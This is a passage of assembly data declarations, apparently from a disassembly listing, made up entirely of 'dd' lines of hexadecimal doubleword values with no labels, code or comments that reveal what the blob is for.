dd 996A6880h, 261AC20Ch, 11428C81h, 0A804625Dh, 882E5374h
dd 0B8E0AE31h, 0AFF441FCh, 0BAFB1303h, 24488E7Eh, 609073A3h
dd 9117B62Dh, 427C9128h, 99418D80h, 50910C18h, 13D98C19h
dd 3E656F68h, 0B489C40Ch, 3B12D17Ch, 0A832A965h, 518028E8h
dd 0C99A327h, 8C90970Ah, 9C6A5D12h, 8F52888h, 0B14CD46Ch
dd 0E4A0934Eh, 97B2C50h, 87621E61h, 8D3F1424h, 1A746260h
dd 0BE61AC37h, 1892350h, 8438E7E2h, 234AEDE4h, 0F1816DA8h
dd 14B432CAh, 95D86415h, 58937C30h, 4C523065h, 0B9882C6Ah
dd 15BC2D7h, 0CECC837h, 0CA10AA35h, 77554900h, 344E8E54h
dd 181C6A01h, 0EBCC0878h, 3D44DC28h, 6013E636h, 466018E8h
dd 7C31A155h, 9598706Eh, 0ADED22F2h, 0D7089C08h, 3CD33D03h
dd 37908304h, 0E814797Ah, 11A43C70h, 871447C6h, 58C89627h
dd 7523D9E2h, 809C261h, 6A035B00h, 5D9E015Ah, 0E6B3A561h
dd 0F3CCE04Eh, 0C11F4FF8h, 0B40A645Ch, 0BE3C14A1h, 93E81752h
dd 82602400h, 91F17D39h, 8171624Ch, 730C4C60h, 301AE488h
dd 7384F5Eh, 0F4A274EEh, 21250460h, 20AB9140h, 0FB09221Ah
dd 2666043h, 20528E10h, 58C895C2h, 84200653h, 3B601F6Bh
dd 0DA31B9DEh, 38757877h, 30DA4E4h, 65E85EC4h, 189BF524h
dd 0CF004078h, 879F862Ah, 92A56046h, 0BD71ACh, 98512C6Ah
dd 32E4FB29h, 0B806E274h, 0AA60FC9Ah, 0C2F30029h, 7749C50Dh
dd 6CE0D8D0h, 5B46500h, 2E815652h, 457F4A43h, 211AF54Ch
dd 58ECBE8h, 1AB0C00Eh, 60006018h, 887349C6h, 115F9801h
dd 99550157h, 9189F980h, 80BA219Fh, 9D8F8A11h, 850F5506h
dd 31C7DFA4h, 0C007FD01h, 0C029AC45h, 700792F4h, 940AEE15h
dd 4AB81330h, 0FAED189Eh, 1DC9D118h, 500989Ah, 623485AEh
dd 0BFCBA7h, 6F5A779Ah, 63D62A0Dh, 0D7A21302h, 72651D51h
dd 0A080E64h, 12521FA3h, 14700300h, 2100DFD1h, 9CC5E0F1h
dd 0D412B9Eh, 1161505Eh, 30D8E079h, 8E663300h, 0B95F8465h
dd 3F8C008Bh, 143BBE45h, 7E60C57Fh, 130E8269h, 787500F8h
dd 70182FD1h, 2E004F83h, 0D9566817h, 825222h, 0A10B370Ch
dd 13997AD6h, 0B0A8E23Ch, 0E6D791ECh, 0B36E0323h, 0CAF5DC67h
dd 643088E8h, 83FFC4A0h, 0E0F630C4h, 0E0CD4E3h, 811176C5h
dd 18B5507h, 3405396Dh, 0A0998800h, 0E74A594h, 4E2D7067h
dd 922A6981h, 0DF64E882h, 5B07760Ah, 57049066h, 9E40E1F6h
dd 656968D2h, 2420C448h, 9398247Dh, 0CAA021h, 0F63FD068h
dd 741B9C8Dh, 0A96430E9h, 82DF2E10h, 0B6E8B851h, 8C650068h
dd 0A2640C05h, 0FB00797Bh, 0F5167A48h, 758E1C4Fh, 51AC35EBh
dd 50A480D8h, 0E9C0A860h, 0D21F6801h, 0B862662Ah, 1660C122h
dd 1F60E721h, 302E4C18h, 2F57D10h, 0D79B30D0h, 0AE004076h
dd 597E826h, 1D4194E0h, 739C2066h, 9863D07Eh, 90F6B0h
dd 131C20E1h, 2C22F41Fh, 8B3C067Fh, 9C3E0099h, 54811B76h
dd 67831282h, 0E0D414F5h, 446F5F00h, 0FCB9BBFBh, 54288710h
dd 6B97A103h, 98130CFDh, 6C035FE0h, 888222E8h, 0A575B52h
dd 5150704Eh, 805811C4h, 656A68CBh, 95448CCCh, 68C3009Fh
dd 0CF429487h, 2FEC5D69h, 37792465h, 8736800h, 64AE39h
dd 0CC5E16A6h, 0C65366B6h, 4652C909h, 0CE3400DCh, 0B4F0ACAh
dd 0FA2DAF51h, 53C98C22h, 619C10D1h, 8CC8EC0Fh, 50671921h
dd 17B797FBh, 1443F0h, 0D40DCBBAh, 2833F65Eh, 5452A5FAh
dd 91444831h, 1D6E1750h, 7F012224h, 20D36AFh, 4BE0676Fh
dd 1D11399h, 0C83804E5h, 0CAD88057h, 8D011D44h, 0D76664D6h
dd 108C59D2h, 0C349B060h
dd 3A5B900h, 0F36AFFD9h, 77B328D2h, 6C4E4490h, 59D05817h
dd 0C9CF1805h, 5B2E5000h, 0EF974433h, 2BA9EC07h, 539521C0h
dd 0FF8A33h, 0E1096EA7h, 0CCA24CACh, 2D6F6902h, 437FA80Bh
dd 0AE0DC03Ch, 33CB8FAh, 887ED722h, 0C8D68BB7h, 2054603Dh
dd 21872843h, 7B1C904Ch, 67320E01h, 0C4943A05h, 0BC04A848h
dd 0D1C52687h, 20299964h, 9777A374h, 0E4FB6E80h, 81C52A5Fh
dd 694400D8h, 0FCF088E4h, 0A5023479h, 213B9891h, 78F46411h
dd 6B12499h, 0A77C8050h, 64574AF9h, 78CAAE26h, 5F019420h
dd 5747D6Ch, 0ED045D7h, 3044006Eh, 0E93DA1DCh, 831F4F54h
dd 650541D9h, 9C90E205h, 6063D330h, 0F95DA08Fh, 6C029FD7h
dd 486F245Ch, 0ADF84173h, 1F086718h, 0C45A2AD1h, 5FE2401Ah
dd 0AD4B81Fh, 0FAEED281h, 206016E0h, 0A019A51Ch, 0AD7C2A00h
dd 66F9C1BEh, 829F00CAh, 81EAAEA4h, 0C4986CD1h, 48E5B73Bh
dd 0F9440078h, 0E037A6DEh, 0BFD313DBh, 0A2DC411Dh, 42902C40h
dd 88CC5E94h, 780B594Fh, 908831E5h, 1151B810h, 33EDD600h
dd 9E01C93Ah, 0B4FD5918h, 40901B13h, 6FCEF998h, 53649466h
dd 0B9417B60h, 0CCBD4F4Ah, 0B00077A9h, 33AFC82Eh, 269759FFh
dd 0DE949498h, 0F6E3A909h, 68E8208Fh, 4F7AD9h, 35C10E21h
dd 40AE3D62h, 0FAE42D05h, 8680933Ah, 249600Fh, 0CFC580FCh
dd 74606842h, 2D1D4ED3h, 8A5814B8h, 28258751h, 0C2FC3052h
dd 0F46533A8h, 45612C40h, 88F04F4Ch, 1F6DC053h, 0CA212AD7h
dd 159180h, 241F65ECh, 636E630h, 5C3D2F2Eh, 514648BBh
dd 0CD0ABF58h, 4424BA2Ah, 63E6401Dh, 0B2F31Fh, 0B098D246h
dd 2ABB01CCh, 86EFD312h, 26565000h, 253B9AD8h, 9038AF3Dh
dd 25186591h, 49E01FDEh, 9637136Dh, 0D3FC499Fh, 3FD1E807h
dd 5A47D00h, 0C800F046h, 7758045Fh, 0D492D47Bh, 0C6265848h
dd 335CC038h, 70469743h, 54F42922h, 6D913300h, 63DCE8Ch
dd 2AA909A6h, 0FC209FABh, 89F8F569h, 0A30698DFh, 7C187C67h
dd 992BFCE5h, 0A15C0E20h, 0F8AB20ABh, 1691980Fh, 58189E7Bh
dd 793B6F18h, 53061358h, 0FAC00703h, 120C40C8h, 0B94C9840h
dd 8C27BC98h, 5C06E703h, 0E7488A5Eh, 380B3020h, 8B949998h
dd 380493C0h, 0CD6F4056h, 318DA31Eh, 8030023Eh, 0BA5C0379h
dd 2AECA0A2h, 0C493B39Bh, 8E53FB18h, 0C116880Ch, 6D387FEDh
dd 840C006Ch, 32B03DE2h, 0D5FA00A2h, 6758C8CDh, 2641922Dh
dd 0A0388C40h, 0ABC30F5Ah, 0C03275FBh, 0D83C9940h, 0E9F42100h
dd 5C07BAF9h, 6FA227DDh, 0E7C33830h, 0FC7DF30Ch, 7D4E38E1h
dd 61510172h, 1E793867h, 632074E2h, 9A71920h, 7549DFDh
dd 0CBD240C0h, 3BD15909h, 78E8601Dh, 0AE251435h, 0B5F120C3h
dd 48421905h, 335830CAh, 50975F16h, 0F8908038h, 0D5770933h
dd 5D0067B4h, 798A49CBh, 7E2058B0h, 2C575818h, 0F57510h
dd 0E34321D1h, 283860FBh, 0B47AEBh, 0BC42B3AFh, 2E35E74Ah
dd 3EA733Bh, 349843C2h, 33D9A0C0h, 0E68A00C1h, 7DE87239h
dd 471F6FEEh, 303101D5h, 0E0F42E46h, 9CC20042h, 71B749E4h
dd 48E84B98h, 331128D8h, 3707CBDh, 0DE457347h, 0E3E02E4Ch
dd 9E1E7246h, 5D1F3ADAh, 44C23401h, 4EE037D5h, 3B75F0EAh
dd 7C2ED970h, 0D7044884h, 0C75A09DCh, 0B4007337h, 0F0747C38h
dd 0C5184452h, 0E13ECAh, 0BFC0343Ch, 5459D449h, 40F5C840h
dd 2510FD1Ah, 4D05B786h, 0D3A5E02Dh, 0A7C92E38h, 0E410619Bh
dd 5F02D277h, 3BE2569h, 4CE46096h, 733806AFh, 8171611Eh
dd 9AA39B00h, 4930D02Dh, 0B57009E2h, 0D8E622B3h, 0DE01FAE4h
dd 25FE0B93h, 18822426h, 0ABB4D32Eh, 0E04848C9h, 81DDA803h
dd 0CE4978C3h, 0B8D80DFCh, 0E108E2DEh, 38798CE0h, 5BFBC05Bh
dd 0CF2831D8h, 0BCCDC49h, 9E7C8B56h, 98E87D0Fh, 2D6B9B10h
dd 0FC807B93h, 484665A1h, 0C968FC62h, 60F50358h, 0B8BF822h
dd 2F5475FDh, 8859C868h, 9C9C0082h, 0CA377D6Bh, 42D43078h
dd 8C94F0A4h, 3BC20308h, 8105F30Eh, 0B5DF7A33h, 8CF6880Ah
dd 0F3564E82h, 8050E060h, 0D0514ACAh, 54612150h, 6EA2C507h
dd 963F6853h, 8FA5F422h, 1C041248h, 28984F79h, 5E6491E1h
dd 13597160h, 0F87E382Dh, 3DE83902h, 0BCE00681h, 0D452306Eh
dd 9C7DC14Ah, 45BD3703h, 0C2BB42EAh, 5878CCD3h, 0C00B5040h
dd 540FDE73h, 5DE59881h, 0BD4ED04Fh, 1BF320C0h, 0A60582E9h
dd 255E0144h, 0C41A4B99h, 4B0C271h, 5D7065C6h, 400C1953h
dd 0B71F5708h, 8C22E041h, 93ED2974h, 10A71F08h, 0CE0FDFE2h
dd 0A0158AE1h, 61504074h, 0D09109CAh, 657323E4h, 78A22122h
dd 1930ADDDh, 0D2F9210Dh, 9BE7441Ch, 91D781CEh, 109F0891h
dd 6170401Eh, 9B118640h, 74147C9Ch, 850C3661h, 8C642EE6h
dd 91ED5001h, 28AFB4ABh, 184A9CABh, 0E0867CD0h, 0E499309Eh
dd 0E612E309h, 0E848E524h, 0EA22E791h, 89ECE944h, 24EE12EBh
dd 919048EDh, 1923E8Fh, 0CAAE66A9h, 0D0C86254h, 0A2C1C6E5h
dd 0A852B851h, 4E3CA84h, 4ABA655Dh, 0BC1908h, 0FE550CD8h
dd 4F3EA21Dh, 1EAC3EAEh, 0A900796Dh, 54A19F85h, 0CE707FDh
dd 87EDDFC7h, 0C7F547CFh, 32BE8F97h, 1102E540h, 4D049Fh
dd 0A17F85A6h, 25DF78B9h, 48353532h, 0FF04A1FFh, 0AC5264D5h
dd 5E59C088h, 2255C750h, 0F8F85664h, 0AC38A052h, 7073083Bh
dd 0F28151C8h, 0F7CA71C4h, 41F80991h, 0FA040B18h, 0F628E0AEh
dd 0B8F30099h, 0A47F6F18h, 10A06133h, 4F526570h, 381AC38h
dd 0EF8333Eh, 1A93F322h, 80A5E5E1h, 0D11F5B18h, 1FA27C7Ah
dd 28FD90C3h, 0F2997C1Ch, 2355052Ah, 225201B6h, 38F5AD28h
dd 33A26DE4h, 0C941E7B4h, 980031EEh, 2BCA481Bh, 30DF565h
dd 4476917Dh, 0BB86397h, 0F908E423h, 83474B6Bh, 1B4A2BF0h
dd 11228BE8h, 0FA7DB201h, 0F977F3F2h, 815CCC7Fh, 8E1C9610h
dd 43676C00h, 1AC94422h, 8028D93Ah, 5FDD1B31h, 0E274566h
dd 0CF4BDEEFh, 0D064D420h, 3A010CCAh, 9601FD25h, 488C9444h
dd 1C10B597h, 7CF8F40h, 35A9D6CDh, 16304071h, 47033F60h
dd 0CAE58356h, 0B0E9001Ch, 0CD2EC9C8h, 63003702h, 99155F5h
dd 187A9F0h, 77FDAC26h, 0D7656FA1h, 428440FDh, 3BA3061Bh
dd 0CA8F2207h, 0C4A099A2h, 7C5DC512h, 5E910FDAh, 5601041Fh
dd 0DC9D18CFh, 0D10111DDh, 0D412C955h, 144A1E50h, 6079593Ch
dd 9AA830CEh, 0D1F8154Eh, 0CF4320h, 0A9ACC453h, 97171D42h
dd 0EC069577h, 0A71A5AC5h, 1EC81E90h, 4018B7D5h, 9B141D57h
dd 0A7195106h, 0CE8058C3h, 0A68EC528h, 40A82027h, 0D5A2185Ch
dd 333078D4h, 0CB523156h, 0A2590AA8h, 620C4FCFh, 84A0AC20h
dd 429703C9h, 0D4AB2105h, 8800184Eh, 0D0AC1B52h, 2029C01Fh
dd 0CF306A29h, 0C31743Ch, 493D28AFh, 18F80764h, 0AC7842A8h
dd 26006231h, 0A6B17C72h, 3199AE4h, 9FBC3A0Bh, 0F4B857A8h
dd 2100F1CCh, 87412612h, 0FB20722h, 317FEB6Bh, 86ACCD80h
dd 230327FEh, 2FAF84FCh, 0E4711F55h, 4C5E8212h, 210024F7h
dd 0C3AEDBDh, 3891A431h, 0BB3AE528h, 0B77D0462h, 1B062334h
dd 0A050A17Fh, 2C88A918h, 68826FFCh, 0B71B8670h, 9B771931h
dd 8FB61998h, 1178B259h, 1EA9DD10h, 402AAAD5h, 0C7298040h
dd 4DDEA229h, 0D5C008B8h, 30356832h, 9EA89044h, 1BBCA83Eh
dd 3959C011h, 8851BA56h, 5883A60Ch, 1C25203Eh, 942C8969h
dd 8523D022h, 0D0C44010h
dd 0FE63607Bh, 0D20B3161h, 86291A30h, 567723B9h, 0E0B80269h
dd 78339D85h, 0B97EA4A6h, 67A1390Ah, 0A318DC38h, 33BA69F1h
dd 0D8318CE8h, 182A36FBh, 0A5284CA9h, 84805868h, 0F788BAB6h
dd 91CA2426h, 0C0393718h, 910B078h, 368A9926h, 1824DD0Ch
dd 4CDF5038h, 3B58A9A3h, 481E843h, 10B26591h, 3C288723h
dd 3814E5B9h, 84A4DF56h, 242B3CA4h, 7FDB7442h, 0C47A42B8h
dd 0F9449A71h, 82212B23h, 0C1905488h, 426F10AFh, 0C2155128h
dd 2927993Ch, 0DC217E38h, 2336448Eh, 3B3FE481h, 5088C21Ch
dd 106AD944h, 0A2A2846Ch, 0B144F0A2h, 7408289Fh, 89551B3h
dd 0DE0FE709h, 0AAA28AD0h, 841AE111h, 1B61AFF8h, 485C323Eh
dd 51288F6Ch, 0B2868C48h, 0E51B3150h, 0C0516B3Fh, 6DD541C0h
dd 41401197h, 12322F84h, 0A3348F6Eh, 2241D486h, 0E102AA90h
dd 2C79B97Eh, 23A049E9h, 0EA194013h, 3F11882Fh, 4C562801h
dd 7C4CB74Ch, 118CC898h, 346528BDh, 48319B2Bh, 7CF57D01h
dd 118230B7h, 6202D35Dh, 1B24E844h, 5565DCBBh, 1349A826h
dd 2067E516h, 327B8168h, 11EFA491h, 0A2F7FD03h, 100033D3h
dd 0E37276F6h, 3C95BB0Bh, 7C0059DAh, 50713BC0h, 757F19CFh
dd 0D016C70Bh, 0D4E4005Ch, 0E8F8ACFCh, 0A7C30040h, 0A5CF7297h
dd 0F8B054A8h, 0B920631Fh, 18AC003Fh, 16559708h, 43C50F1Eh
dd 3EDD3BE3h, 1B32F920h, 0E02B40A1h, 0A27400Ch, 1D59D0FEh
dd 1A414040h, 42789BA1h, 0E422F61Fh, 53971F07h, 986C308Ah
dd 194E14CEh, 0E3CB1C12h, 38C84886h, 14B8E9E4h, 291A533Ah
dd 34AC60CEh, 18DC0468h, 70121A4Fh, 945CE819h, 78AE2E25h
dd 1D001823h, 1E5C97A5h, 0E9AA01A8h, 0A4D559D8h, 602C5D19h
dd 0C4A0CFE8h, 0E57CD952h, 0BE964C50h, 3E385153h, 900F0520h
dd 0B0C3E54Ch, 144AF745h, 3B403852h, 0DE4A00BEh, 1D5AB90Fh
dd 0D0E8C315h, 19F8AC54h, 0D6A7D50Ah, 0A35594E7h, 73C0D704h
dd 98C608CBh, 71050F18h, 5780B86Fh, 0ABA8D053h, 12185200h
dd 0FDA92CFh, 554DD6h, 0C1197874h, 0D552AC28h, 0A698244Bh
dd 68141D00h, 0D417D094h, 40164C54h, 2860523Ch, 0BEA88F1Fh
dd 0D420554Ch, 0C84C026Ch, 43A99BA5h, 745056ECh, 0DEEE950Dh
dd 2B600491h, 0E800FF04h, 191E5D65h, 8C0B53D1h, 2443D202h
dd 40987F90h, 58534890h, 1A44820Ch, 59E84012h, 204C70F0h
dd 3CF448D0h, 0E7ED7A5Fh, 0A2194013h, 0A78CC000h, 0E185C9Ah
dd 1F4EAB5Bh, 8C80109Ah, 17C3B97Ch, 1E54CF1Ch, 701FD556h
dd 8F4EA64Eh, 1C7F0444h, 1B58A080h, 1810C6A7h, 0C6246003h
dd 5830AC1Eh, 3A2754A6h, 0C4308212h, 0AC2B7F40h, 0C36FA774h
dd 7C50FC8h, 304C519Bh, 788C7C4Eh, 54A1C7A7h, 55D2C019h
dd 0D40A041Dh, 9859275Ch, 567D0448h, 9E3EF8A5h, 5B1740D2h
dd 0A1DED460h, 8C432CAAh, 8091C760h, 0CF5DC3FAh, 50D55B09h
dd 4EB83A1Ah, 14521218h, 1BF00917h, 0CC071C8Bh, 804F44A7h
dd 0CA7FD0E8h, 90C2AE7Ch, 0C357A6ACh, 0F058C67Ch, 0C3553A99h
dd 8D6090A8h, 0E8407D04h, 0B2C94175h, 18EF16C4h, 12B40B99h
dd 0C55BE438h, 0CB0C3F4Ch, 1F980115h, 0DC60D6ABh, 0D821E912h
dd 2C287CD3h, 49C497A8h, 0C35B1C01h, 4E0C34ACh, 0E45D2741h
dd 0A8502CF3h, 2F3D8FC0h, 2081188Bh, 30A21D45h, 69DFCF10h
dd 4319AC1Fh, 2072D5C2h, 2C194E14h, 0C23C87B4h, 0D4F0CFAEh
dd 0EB3431F7h, 7FD4580Ch, 7C4F9CC9h, 0DEB0CC1Fh, 18A64E80h
dd 14265090h, 0FCD73861h, 0C057048Fh, 0D098BE0Fh, 84200C5Bh
dd 21131691h, 57C21FD6h, 0B189D53h, 0C8004ECAh, 1216E0A6h
dd 6853D029h, 970801DEh, 0A6A2C472h, 0D0D86043h, 2646F5Dh
dd 99122054h, 6618AB40h, 8C5088F8h, 75723AF6h, 55D4F20Bh
dd 0C4A720A0h, 38B8CE1Eh, 89AA1227h, 27D05944h, 0D4793C12h
dd 8077228Eh, 1658B7A7h, 4ED4391Eh, 51971A82h, 8CE10118h
dd 70C4F51Bh, 631D5B70h, 0B71FBB70h, 50B09C28h, 9B03151Fh
dd 0A79720B0h, 0C3A51D18h, 0D11E0945h, 2D4050E9h, 0BD1F83C8h
dd 0B96803ABh, 1E5D6FF8h, 1A800AEDh, 0E9925D34h, 0FB18ECC2h
dd 7C34A150h, 525FD1E4h, 0ABE49073h, 0F001A5D0h, 0FEBCFD82h
dd 11AE1D0h, 8C55D1A5h, 9D549A14h, 0A7C34121h, 0A2C95CD4h
dd 5BC8849Bh, 0D9D230E1h, 0CAC89E0h, 381A80C2h, 73E71097h
dd 53D416C0h, 1EE8DFB9h, 0F028751Bh, 0EF247E60h, 0DC201CA4h
dd 1B3057FEh, 13CF201Fh, 0C3551DA6h, 1D540418h, 77B8E119h
dd 0C43B2AE0h, 880F851h, 5A4EF28Ch, 9B11F860h, 5BC80651h
dd 881DAE72h, 0DCA3527Fh, 44F88CA1h, 1ED81DD0h, 0CEF5015Bh
dd 3120C94Eh, 400BE104h, 97A8C380h, 3A829B01h, 0A71E51C5h
dd 95BF053h, 62ACC660h, 59982851h, 645B2728h, 0AA6E998h
dd 0DC4A58A8h, 5A233762h, 0A548C260h, 0D4D19BABh, 1C4EC382h
dd 0B544431Fh, 64A6F434h, 0A2F0494Fh, 30C12009h, 9B01F05Dh
dd 1318553Eh, 6CC25AC3h, 0D0F08245h, 7F185140h, 9B490D6h
dd 5CA9A7C6h, 49BEDC80h, 9701191Bh, 0C977011Fh, 3180A5D7h
dd 2D2FD680h, 0C20074F8h, 7F3E2637h, 5862A6B1h, 11004608h
dd 351DFDA3h, 960168A5h, 0AC22873Eh, 77F47BA2h, 302667DFh
dd 0BC84203Bh, 5F0CFD08h, 9036EF6Bh, 0A0F800BEh, 39784279h
dd 0DD00C90Eh, 0F53CA686h, 4FB8B44Ah, 201093E0h, 737234A8h
dd 20EA5429h, 30DABA62h, 0F020E0C0h, 0FE35397Fh, 0C0908F37h
dd 0CE5634E3h, 3A085D50h, 0D0703C62h, 3E1F237Bh, 385ED811h
dd 7035A706h, 909730B9h, 0CA076Ch, 31741563h, 0F3D0F421h
dd 33401CACh, 50909DD3h, 0C3009A08h, 87AD228Ah, 146CEh
dd 7F86CC6Ah, 0BF1F9C31h, 31268330h, 1694982h, 885BFB0Ah
dd 98E3A337h, 0B7217F08h, 22690073h, 24B4D3EFh, 0F0039FF3h
dd 633AA2C7h, 444EE81Dh, 49238h, 0D165CC5Bh, 0A882C7BEh
dd 8B7B633h, 0F5210047h, 0A36D6374h, 8550CCF8h, 49C83B88h
dd 65BFC071h, 0CF21BECEh, 0C7F26083h, 603B8965h, 0A0E7A0DFh
dd 887A270Ch, 2927B4A7h, 222CE86Ah, 0B791A54h, 98397075h
dd 1C181D19h, 58688173h, 1646E2CCh, 88C91A3Eh, 0AD83FF00h
dd 0B28229E2h, 48951830h, 306E37CCh, 0BEA07DB7h, 7A52DCE0h
dd 31080680h, 0F61A93Ch, 3DCC8C01h, 0C4B0C081h, 0C8705EDDh
dd 4B23D652h, 0BC980017h, 3AF53035h, 8C576E18h, 0C0879E88h
dd 0C077F069h, 0AD03F526h, 0FE827F48h, 399F0AEh, 0E73E0423h
dd 8053F9F6h, 743B21D4h, 71A8D830h, 1E50D8Ch, 9606FB4Dh
dd 98F72324h, 0EA219108h, 31E50005h, 0FD4450F5h, 0B312AF67h
dd 9800343Ah, 80B2A93Fh, 0A3D0C3B9h, 2DE0FD7Ch, 0BD2BC382h
dd 80D99C3Dh, 697EFB1Ch, 2069836Fh, 812649E3h, 0D04B5A9Bh
dd 99FAE908h, 0B4B22C00h, 71575C8Fh, 7A6C1C56h, 9D7B0265h
dd 0C04CB31Fh, 0E69450Fh, 8A88D1FBh, 694D6380h, 97316B7h
dd 0B61C6E7Dh, 19E73421h, 0CC4EE09Ch, 5D28BB00h, 38FC7B01h
dd 10344CEEh, 0B588E86Fh, 7CE6519Fh, 38064E51h, 0A4EFEB18h
dd 28263558h, 709836B2h, 610200BAh, 381F7834h, 0A54DCA10h
dd 1486C8C0h, 39E120EAh, 2401804h, 5CDC9E23h, 28429D2Ch
dd 74C6F848h, 0A1380A04h, 0B900236Fh, 70563DB6h, 40588E05h
dd 0D020B77Dh, 60F3A0FDh, 3C32835h, 0EB0A3EB2h, 90B11CCDh
dd 3C4A5C80h, 39677614h, 0B78083CCh, 0FA6E0468h, 0C004366h
dd 1F01FFDDh, 0C089B256h
dd 0D5FD1BB0h, 0F8286A02h, 0C3069CB7h, 6D53263Bh, 7600A20h
dd 0A08BD1h, 0F166331Fh, 7E302634h, 0FD112025h, 0B26515C9h
dd 0C77BC38h, 30B9FE37h, 78000320h, 0A4CBA84Eh, 38BB2DDh
dd 61ADDF17h, 307189F8h, 0B9785F7Ch, 41F1E716h, 59713044h
dd 5DF23C00h, 1A3002ACh, 0D780E924h, 37C00178h, 0BD365727h
dd 0B20898E8h, 1BFE121h, 0DFD59C78h, 0BFB9B64Ch, 0AB6E0D19h
dd 0F7F1588Eh, 61FE0C51h, 88471A6h, 1397B68h, 0AEAC2E72h
dd 78254DFDh, 43000023h, 451956FAh, 0BE00CFB0h, 7A9FB155h
dd 529A041h, 0C1D73F3h, 0E9F06249h, 0D8A47060h, 5B6D61C0h
dd 1C8457A3h, 0B6BB2ABh, 3C792281h, 24B9FB02h, 0CCA3003Dh
dd 0EA2D7C82h, 0C48E67Bh, 4A2A30FDh, 862CAD30h, 465E789Dh
dd 9E380E8Bh, 5EAF80CEh, 5742342h, 992C5B22h, 0CAF804A8h
dd 68E91E96h, 641FC012h, 9A0CD5C0h, 3F8D97D4h, 9C855A4Ch
dd 36ACFA79h, 7A2DA8F4h, 0A8EE3Fh, 34416498h, 7571CD21h
dd 819CE214h, 0A4F010C4h, 0BAC5609h, 0ECB40031h, 0EF7E37CBh
dd 0E0B14486h, 6378BC04h, 4C8C6685h, 0E371EB8h, 8658E292h
dd 306D26E5h, 0B295C361h, 1455EEC0h, 6015D0C1h, 93080293h
dd 1840817Ch, 0BA81582Dh, 0BD005C23h, 9D4F7D9Bh, 0F2183BEFh
dd 94C82C69h, 26D18186h, 0B1B90B94h, 0D8522Ah, 7C1144B6h
dd 4A57D4BDh, 3632621Eh, 0D424BF0Ah, 0DC24279Dh, 3994C067h
dd 1211D48Ch, 20AA3ECh, 3F779498h, 88296846h, 89F1A47Eh
dd 4900A818h, 78B2FD8h, 5640D530h, 0B926AC8Dh, 197D0F70h
dd 0E7281BC1h, 0F75ECCEFh, 1812504Ah, 7C823865h, 65CD3073h
dd 0BFBED008h, 40506482h, 0AA6375F8h, 4CFF02CEh, 999D5217h
dd 0C217204Ch, 0AF008E6Dh, 0B47CC681h, 1CCA4D0Ch, 0B8B77842h
dd 7259B2C0h, 76390062h, 40558D2Ch, 1425B1FBh, 0BC282424h
dd 0F3694860h, 11E3FB23h, 7062007Eh, 0DC4A4C69h, 9F190004h
dd 0A227F03Fh, 710A49FDh, 948260F8h, 4605A713h, 14CCD6C8h
dd 41E50809h, 8BC4A6FBh, 0E501E640h, 8700A02Dh, 2E5CB1C7h
dd 15B029Ah, 235756B4h, 307F3475h, 0B640FCB8h, 0F1BC611Ah
dd 0CC6836F5h, 0C200AB95h, 0C4230637h, 95F6D99h, 0FBB1CD8Bh
dd 0F4805012h, 0AF4C1EBEh, 0F0D4A013h, 0B8B15047h, 0B0E02898h
dd 2724674h, 0FB47E5F3h, 107531F6h, 0B8E50AECh, 3D6D2CA6h
dd 915E08A4h, 70461428h, 0CB65CA02h, 1CB7BEh, 0CB6372FBh
dd 5DC32F80h, 2C0133Eh, 2B45B6C6h, 77B4B0E4h, 18BA2D01h
dd 299AC4E0h, 0F95EB10Fh, 0B0888959h, 2062D3C0h, 7C849050h
dd 0B8C20108h, 0B6C540B4h, 0EF04E852h, 75C8F8BDh, 8C01B888h
dd 0C108CE7Bh, 64571F37h, 0B6E24086h, 0E37B78h, 107AF824h
dd 3AF4C0CDh, 5B51F614h, 64428Ch, 0D02FC4E3h, 49837731h
dd 0F07F3835h, 37560F52h, 0EB008EC1h, 48C3F20Ch, 5ACEFD04h
dd 6CD8D1F3h, 74AFBD1Ah, 0E3234C0h, 6639FF4Bh, 6580537h
dd 0A442217Ch, 0B21C22D2h, 0C7386284h, 608B44F0h, 388FD8A1h
dd 0E7A7952h, 0A0FB21ABh, 9B58468Ch, 0D9EC50E9h, 2A00CE93h
dd 692B0CD1h, 0BE5C4Bh, 0F70FC66Ah, 0EEE14CC8h, 0B700AC9Bh
dd 34CC6B40h, 1E1B1E58h, 7BD0A8D4h, 0B6EF03Ch, 33ABC20Ch
dd 0DB82F0F1h, 94959062h, 44C8A7F4h, 6A3A6074h, 41B80272h
dd 505C6EC6h, 5F329481h, 54C83039h, 0B4C704EFh, 6C55AEC2h
dd 187660A8h, 0B0871F26h, 0DBD61E05h, 0EC8E6E99h, 0E0CF8C88h
dd 0A00C343Ch, 904D6279h, 6CCEC51Ah, 4B13A00h, 0BF60D5A3h
dd 3980A6B0h, 0CD838C02h, 9D246ADAh, 37D43040h, 14C63E40h
dd 6070B26Dh, 8C046588h, 9481B933h, 9A0084F0h, 0A104C116h
dd 25FE3AE2h, 353C50B0h, 16F4A0E7h, 23F42F98h, 0B9390385h
dd 9B906BB7h, 94F26A7Bh, 0B1912C94h, 0A34ABD80h, 0BF4093D0h
dd 320716ECh, 1894278Ch, 360E3583h, 0BB181C79h, 0F2AD17E0h
dd 3D171034h, 87E8044Ch, 0DB5C0E8Ch, 7BEB5634h, 84362091h
dd 0C1FE3561h, 28659CA0h, 0CB06FDDh, 3622577Ch, 0E8CB970h
dd 0FB10694Bh, 4065E290h, 3E4FA900h, 20C855B0h, 0E01DE450h
dd 222031B1h, 7F66E8h, 9409073Ch, 228014Ch, 5022E0B2h
dd 3F6A10F8h, 973CCA83h, 807F1144h, 6B3E0FECh, 0B8FF0787h
dd 0E1020AA1h, 848091F6h, 0A868E781h, 8C060488h, 0CC11CB7Bh
dd 8988C737h, 83B3FD8Bh, 0D16C54AFh, 0E5602615h, 0B42A0FF2h
dd 0DB6CB0C0h, 1024558h, 6E322279h, 9F704824h, 805F04FEh
dd 13B5E8C2h, 8B84C0CFh, 86107E7Ah, 0A483B87Ah, 4F4D01ECh
dd 9BCA1972h, 0A7D1E791h, 8EDCE0C2h, 55533207h, 759E469h
dd 7784BD4h, 0C3AB7D48h, 0C0A0D4BFh, 0A0EB727h, 0C15E4786h
dd 0FF561B24h, 21C30898h, 860312A0h, 0BC9D225Ah, 734023DEh
dd 49860801h, 0D018175Eh, 109288h, 0F3635D86h, 8052E16Bh
dd 0D0F23700h, 22566102h, 103B602Ch, 0F0DE590Ch, 94B58301h
dd 1BD8FDD7h, 7480ED3h, 762F6E8Dh, 9EC4DFE1h, 6089893h
dd 0FE855D21h, 0CFA0123h, 5B179BB4h, 52D1F0B6h, 5AF230E5h
dd 64084000h, 0D272C1C2h, 0A76F4h, 0FD4687AEh, 0BAAA2FF7h
